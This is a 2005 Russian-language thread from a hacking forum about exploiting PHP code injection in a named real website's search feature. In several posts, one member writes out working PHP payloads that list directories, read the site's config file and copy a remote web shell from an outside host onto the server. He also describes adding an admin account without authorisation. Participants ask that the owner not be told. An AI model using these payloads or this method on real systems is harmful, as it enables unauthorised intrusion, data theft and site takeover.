Есть дыра, но кавычки запрещены

Discussion in 'Безопасность и Анонимность' started by Skala, 25 Apr 2005.

  1. Skala

    Skala New Member

    Joined:
    8 Apr 2005
    Messages:
    18
    Likes Received:
    0
    Reputations:
    0
    Есть сайт с сабжем. На нем есть такая дырень: Есть поиск, и когда выдаются его результаты, то в начале еще и выводится "Вы искали". Выводится странным образом. Если я пишу в строке поиска <?php phpinfo();?> то выводится ожидаемый результат ;) . Но стоит мне начать писАть кавычки, то скрипт отваливается с ошибкой.
     
    #1 Skala, 25 Apr 2005
    Last edited: 26 Apr 2005
  2. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Первый раз слышу чтобы вводишь в поиск <?php phpinfo();?> и получаешь phpinfo()... Не должнобыть такого. Показывай сайт.
     
    _________________________
  3. Skala

    Skala New Member

    Joined:
    8 Apr 2005
    Messages:
    18
    Likes Received:
    0
    Reputations:
    0
    Сайт: http://a-count.ru/
    Поиск: http://a-count.ru/search
    Если в строке поиска ввести
    <?php phpinfo();?>
    То имеем :)
    Но, что-то сейчас у меня сайт не открывается. Видимо, "Билли! Тут кто-то побывал до нас!" (с)
    Пы.Сы.
    Все же не нужно админу говорить про дыру ;)
    И еще: мне хочется понять, ЧТО дальше делать... В каком направлении рыть, так сказать...
     
    #3 Skala, 25 Apr 2005
    Last edited: 25 Apr 2005
  4. tmp

    tmp Banned

    Joined:
    10 Mar 2005
    Messages:
    417
    Likes Received:
    32
    Reputations:
    1
    Базара нет! <?php phpinfo();?> выдает все! ;)
     
  5. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Епать... первый раз такое вижу. Ща ченить попробуем.
     
    _________________________
  6. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Хо хо... Поздравляю =) Ты нашел дыру в некой

    // CMS Master :: Content management system
    // File: /cms-config.php
    // Version: 1.0
    // Created date: 28 September 2003
    // Modification date: 28 September 2003

    пока еще не смотрел че за дыра, но скорей всего либо поиск через кривую регулярку он юзает, либо через какуюнить системную функцию. Короче. Ввел в поиск:
    <?$dir=\'./\';$dir=substr($dir,0,strlen($dir)-1);if ($handle = opendir($dir)) {while (false !== ($file = readdir($handle))) {echo \"$file\n\";} closedir($handle);} ?>
    получил листинг дириктории. Заметил файл cms-config.php, проглядел его. Вбил в поиск:
    <?$file=\'cms-config.php\';$file=substr($file,0,strlen($file)-1);readfile($file);?>
    Там каталог cms-images. Не факт, но обычно такие каталоги имеют права на запись. Решил попробовать туда кинуть ченить, шелл например. Вбиваю:
    <?$f1=\'http://www.zerkalodeface.narod.ru/rem.php3\';$f2=\'./cms-images/rem.php\';$f1=substr($f1,0,strlen($f1)-1);$f2=substr($f2,0,strlen($f2)-1);copy($f1,$f2);?>
    Ну и шелл соответственно по адресу http://a-count.ru/cms-images/rem.php?c=t Все, дальше сам. А я пойду погляжу в чем, собственно, дырка.
     
    _________________________
  7. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    _________________________
  8. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Блин впадлу дыру искать, замудрёееая система какая-то =) Спать лучше пойду. Если надумаешь постить дыру куданить типа на securitylab.ru, ни в коем случае мой ник не упоминай =) и вообще забудь что я это сделал =)
     
    _________________________
  9. Skala

    Skala New Member

    Joined:
    8 Apr 2005
    Messages:
    18
    Likes Received:
    0
    Reputations:
    0
    Trinux
    Слушай, ты как там админа добавил? В базу добавил логин и пароль или изменил существующий? Я почему спрашиваю?- Сам пока зайти не могу (по каким-то причинам ;) ), да и неохота там что-то ломать (цель моих поисков не вандализм, а самообразование, но доказать это органам, думаю, будет тяжело,- первый шаг поиска делал не надев прокси).
    Пы.Сы.
    Очень прошу- не нужно там админу настроение портить: Я заинтересован в том, чтобы он как можно больше дырявых сайтов написал ;)
     
    #9 Skala, 26 Apr 2005
    Last edited: 26 Apr 2005
  10. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    пасс я добавил а не заменил. Уже не настолько дурак, чтобы менять =))) Админку ковырять не буду, делать чтоль более нечего. А я тоже без прокся делал. Только вотпусть попробуют найти =) Да и не в этом дело.

    Итак, что там было с кавычкой. А было следующее. Ковычка интерпритировалась как конец какого-то вырожения, насколько я понял. Поэтому мы ее экранируем (\'). Тут возникла еще одна запара. Почему-то вторую входящую экранированную ковычку он воспринимает так, как она есть, т.е. вместе со слешем, но без него опять ругается на кавычку. Поэтому пришлось сначало присваивать переменной значение со слешом, а потом обрезать последний символ переменной. На серваке Safe_mode в оне и много еще всяких наваротов. даже непонятно, толи действительно грамотный админ сервера, толи просто начитавшийся крутых статей малолетка =) Вроде так. Если где ошибаюсь - поправляйте. Кстати, разбираться где бага нет времени, но очень интересно. если у кого есть время и возможность - гляньте плиз и киньте сюда...
     
    _________________________
  11. censored!

    censored! Green member

    Joined:
    2 Nov 2004
    Messages:
    1,160
    Likes Received:
    299
    Reputations:
    156
    Туда уже кто-то и Rst Sql залил.
    А вообще, интересная эта cms-admin...
     
    _________________________
    #11 censored!, 26 Apr 2005
    Last edited: 26 Apr 2005
  12. Skala

    Skala New Member

    Joined:
    8 Apr 2005
    Messages:
    18
    Likes Received:
    0
    Reputations:
    0
    Ох, товарищи, не трогайте вы юродивых... Я дал адрес сайта но не думал, что там будут так откровенно глумиться над ними...
    И еще раз добавлю: В моих интересах, чтобы он(автор сайта) написал еще больше своих продуктов. А так вы ему слишком рано указываете на ошибку...
    (Сорри за оффтоп)
     
  13. KEZ

    KEZ Guest

    Reputations:
    0
    Это редкий случай вроде highlight в phpBB
     
  14. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Kez, помойму там все же не регулярка, помойму там просто shell_exec неправильно немного юзается. Хотя может я и ошибаюсь. Скрипты я снес и пасс наадминку смени. Кстати там еще одна дыра в авторизации к админке. Можно пройти не зная логина и пасса. Вообщем очень интересный сайт =) Прям книга уязвимостей =) Думаю будет интересен новичкам.
     
    _________________________
  15. Skala

    Skala New Member

    Joined:
    8 Apr 2005
    Messages:
    18
    Likes Received:
    0
    Reputations:
    0
    СПАСИБО, Trinux!
    (Подумать только, столько времени собирался это сказать и только сейчас "доперло" :) )
     
  16. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Да незачто =) Веселый случай. И себе я тоже опыта добавил, так что квиты =)
     
    _________________________